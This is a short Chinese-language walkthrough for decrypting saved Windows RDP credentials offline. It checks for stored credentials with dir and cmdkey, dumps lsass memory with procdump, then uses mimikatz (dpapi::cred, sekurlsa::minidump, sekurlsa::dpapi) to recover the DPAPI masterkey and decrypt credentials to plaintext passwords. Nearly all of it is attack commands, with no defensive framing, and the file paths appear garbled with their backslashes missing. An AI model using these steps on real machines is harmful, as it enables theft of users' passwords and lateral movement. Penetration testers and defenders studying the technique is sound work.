离线解密RDP凭证密码

一、查看是否存在凭证

1.dir /a %userprofile%AppDataLocalMicrosoftCredentials*

2.cmdkey /list

实际情况下最好将Credentials目录打包回本地，这里测试只下载了单个文件

上传procdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行获取内存文件

mimikatz # dpapi::cred /in:C:userDACFAEA5B624B4361794A2CC8AED1460，记录guidMasterKey

 

本地使用命令加载dmp并获取对应得MasterKey：

mimikatz# sekurlsa::minidump lsass.dmp //将lsaa.dmp导入

mimikatz# sekurlsa::dpapi

 

找到之前所对应得guid得到masterkey，使用Masterkey解密凭证得到明文密码

dpapi::cred /in:C:UsersDesktopd1e69106e /masterkey:6e65bc98836fcd5cd41c2d28ec96e538804c8b4d0419569b54a1be526f998192b1791ee40d995e6b4a9b3f126